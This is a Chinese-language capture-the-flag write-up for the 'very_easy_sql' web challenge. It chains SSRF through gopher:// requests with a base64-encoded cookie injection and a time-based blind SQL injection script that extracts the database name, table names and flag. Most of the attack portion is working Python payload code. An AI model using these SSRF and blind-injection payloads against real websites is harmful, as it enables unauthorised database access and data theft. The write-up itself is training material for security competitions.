攻防世界 -- very_easy_sql
先看题 题目描述什么也没有
点进去题目场景看看
you are not an inner user, so we can not let you have identify~ 只能内部访问登录
看下页面源代码
16行 有一行注释 <!-- use.php --> 把use.php加到URL后边看一下
到这可以判断出是SSRF 先写个playload 实现内部访问
import urllib.parse
host = "127.0.0.1:80"
content = "uname=admin&passwd=admin"
content_length = len(content)test =\
"""POST /index.php HTTP/1.1
Host: {}
User-Agent: curl/7.43.0
Accept: */*
Content-Type: application/x-www-form-urlencoded
Content-Length: {}{}
""".format(host,content_length,content)tmp = urllib.parse.quote(test)
new = tmp.replace("%0A","%0D%0A")
result = urllib.parse.quote(new)
print("gopher://"+host+"/_"+result)
然后用BP抓包
返回值里有一个Set-Cookie 解码看看
解码结果就是admin 这个cookie 就是注入点 重新写一个payload 由于无回显 现在用sleep盲注 构造语句 admin') and if(1,sleep(10),1)#
进行编码
payload如下:
import urllib.parse
host = "127.0.0.1:80"
cookie="this_is_your_cookie=YWRtaW4nKSBhbmQgaWYoMSxzbGVlcCgxMCksMSkj"test =\
"""GET /index.php HTTP/1.1
Host: {}
Connection: close
Content-Type: application/x-www-form-urlencoded
Cookie:{}""".format(host,cookie)
tmp = urllib.parse.quote(test)
new = tmp.replace("%0A","%0D%0A")
result = urllib.parse.quote(new)
print("gopher://"+host+"/_"+result)
然后继续用BP抓包看看
构造payload脚本
import urllib.parse
import requests
import time
import base64
url="http://61.147.171.105:53185//use.php?url="
flag=""
for pos in range(1,50):for i in range(33,127):#poc="') union select 1,2,if(1=1,sleep(5),1) # "#security#poc="') union select 1,2,if(ascii( substr((database()),"+str(pos)+",1) )="+str(i)+",sleep(2),1) # "#flag#poc="') union select 1,2,if(ascii( substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),"+str(pos)+",1) )="+str(i)+",sleep(2),1) # "poc="') union select 1,2,if(ascii( substr((select * from flag),"+str(pos)+",1) )="+str(i)+",sleep(2),1) # "bs = str(base64.b64encode(poc.encode("utf-8")), "utf-8")final_poc="gopher://127.0.0.1:80/_GET%20%2findex.php%20HTTP%2f1.1%250d%250aHost%3A%20localhost%3A80%250d%250aConnection%3A%20close%250d%250aContent-Type%3A%20application%2fx-www-form-urlencoded%250d%250aCookie%3A%20this%5Fis%5Fyour%5Fcookie%3D"+bs+"%3B%250d%250a"t1=time.time()res=requests.get(url+final_poc)t2=time.time()if(t2-t1>2):flag+=chr(i)print(flag)break
print(flag)
python跑一下
提交flag
攻防世界 -- very_easy_sql相关推荐
- 攻防世界--very_easy_sql
very_easy_sql 发现个注释 use.php 页面显示"you are not an inner user, so we can not let you have identify ...
- 攻防世界 web篇(一)
攻防世界 web篇(一) inget fileclude easyupload fileinclude very_easy_sql 攻防世界 是一群信息安全大咖共同研究的答题.竞赛.以游戏方式结合的一 ...
- 【攻防世界001】Guess-the-Number
攻防世界之前刷了几十题了,没写wp,感觉很简单没啥意思.后来参加了几次比赛,发现有点干不动,决定还是老老实实刷题好了.这是第一篇wp,这题很简单,是个jar,用jd-gui可以得到java源码. 原来 ...
- 攻防世界(pwn)--Mary_Morton 利用格式化字符串+栈溢出破解Canary的保护机制
ctf(pwn) canary保护机制讲解 与 破解方法介绍 程序执行流程 有三个选项,1是利用栈溢出,2是利用格式化字符串,3是退出;可连续输入多次; IDA分析 解题思路 程序存在canary保护 ...
- 攻防世界(Pwn) forgot---栈溢出;(方法二)
攻防世界(Pwn) forgot-栈溢出:(方法一) 里面对问题描述的更详细一点 返回目标函数 0x80486CC 方法二(爆破流) 因为最终返回的是 v3[0]-v3[9] 之中的一个函数, v3[ ...
- 攻防世界(Pwn) forgot---栈溢出;(方法一)
攻防世界(Pwn) forgot-栈溢出:(方法二) 介绍 这道题表面看起来有点复杂,其实很简单,有两种方法可以来做这一道题; 方法一(精确打击) 文件运行流程是: 1.先输入名字 2. 输入一串字符 ...
- 攻防世界misc新手_[攻防世界]mobile新手练习区easy-apk
[攻防世界]mobile新手练习区easy-apk easy-apk最佳Writeup由129师386旅独立团 • devi1提供 难度系数: 7.0 题目来源: 暂无 题目描述:无 题目场景: 暂无 ...
- 攻防世界 ——crypto
目录 新手区部分题解: 1,easy_RSA 2,Normal_RSA 3, 幂数加密 4,easy_ECC 高手进阶区部分题题解 5, ENC 6,告诉你个秘密 7,Easy-one 8,说我作弊需 ...
- 攻防世界———MISC 高手区题解
目录 1,base64stego 2,easycap 3,Avatar 4,What-is-this 5,签到题 6,Training-Stegano-1 7,Excaliflag 8,Get-the ...
最新文章
- UrlUtils工具类,Java URL工具类,Java URL链接工具类
- 为什么7层负载均衡压测性能低
- 信息基础---LDPCcodes随机矩阵构造java项目源代码
- 超级直播sop直播源.zip_超级直播app壳 打造自己的直播app
- Wind7系统下 wifi设置
- 谷歌浏览器无网络连接 打不开网页解决办法
- Centos 系统swap虚拟内存添加与删除配置
- lodop打印不显示页码_打印成了最浪费时间的事?5个EXCEL打印技巧让你不在抗拒打印...
- 埋点用例管理_API管理平台之系统设计篇
- eclipse 远程调试mapreduce
- 介绍一下和AspNetPager结合的不错的分页方案
- 【Unity3D 灵巧小知识点】☀️ | Unity脚本生命周期
- python 开发框架 ant_Python ant
- PostgreSQL中的索引—9(BRIN)
- cstimothy17-字段,属性,索引器,常量
- input 起止时间_几种常用的控件(下拉框 可选框 起止日期 在HTML页面直接读取当前时间)...
- win10定时关机怎么设置
- Windows编程画太极图
- 金蝶插件常用引用dl
- 互联网快讯:快手启动“新锐品牌计划;猿辅导、掌门教育布局素质教育